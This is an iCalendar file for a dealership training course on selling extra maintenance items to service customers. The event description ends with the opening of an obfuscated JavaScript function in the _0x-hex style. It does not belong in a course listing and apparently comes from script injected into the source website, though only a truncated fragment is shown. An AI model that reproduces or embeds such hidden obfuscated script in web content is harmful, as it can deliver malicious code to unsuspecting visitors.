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METHOD:PUBLISH
CALSCALE:GREGORIAN
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X-ORIGINAL-URL:https://horneuniversity.com/
X-WR-CALNAME:Horne Auto Group University
X-WR-CALDESC:
REFRESH-INTERVAL;VALUE=DURATION:PT1H
X-PUBLISHED-TTL:PT1H
X-MS-OLK-FORCEINSPECTOROPEN:TRUE
BEGIN:VEVENT
CLASS:PUBLIC
UID:MEC-aff9dca3abf1cf51c536dec351c00a87@horneuniversity.com
DTSTART:20261119T160000Z
DTEND:20261119T170000Z
DTSTAMP:20251215T164200Z
RDATE;VALUE=PERIOD:20260716T150000Z/20260716T160000Z,20261119T160000Z/20261119T170000Z
CREATED:20251215
LAST-MODIFIED:20251215
PRIORITY:5
SEQUENCE:0
TRANSP:OPAQUE
SUMMARY:253 PST Factory Maintenance and Sales
DESCRIPTION:The purpose of this course is to provide simple steps into additional Professional Series sales on the drive. \nThe student will learn the following impact items…\n\nHow to ask for ADDITIONAL items (without offending the customer)\nWhat items to present at specific time and mileage intervals\nWhat items to present to specific vehicles, I.E Diesel, Hybrid, Extreme Conditions\nHow to ask for impulse items (FRIES) to add a 3rd or 4th line on the RO at write up\nHow to ask for an upgrade in engine oil protection\n\nThis class is designed for the following associates…Service Advisor, Service Manager, General Manager, Cashier, Valet, Technician, Parts Manager, Parts Associate \nThe goal is for the student to see an increase in RO Sales, Customer Engagement and improve CSI and Retention.\n \nTAKE QUIZ WATCH REPLAY\nfunction _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let 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URL:https://horneuniversity.com/events/253-pst-factory-maintenance-and-sales/
CATEGORIES:All Courses,Professional Series Certification
END:VEVENT
END:VCALENDAR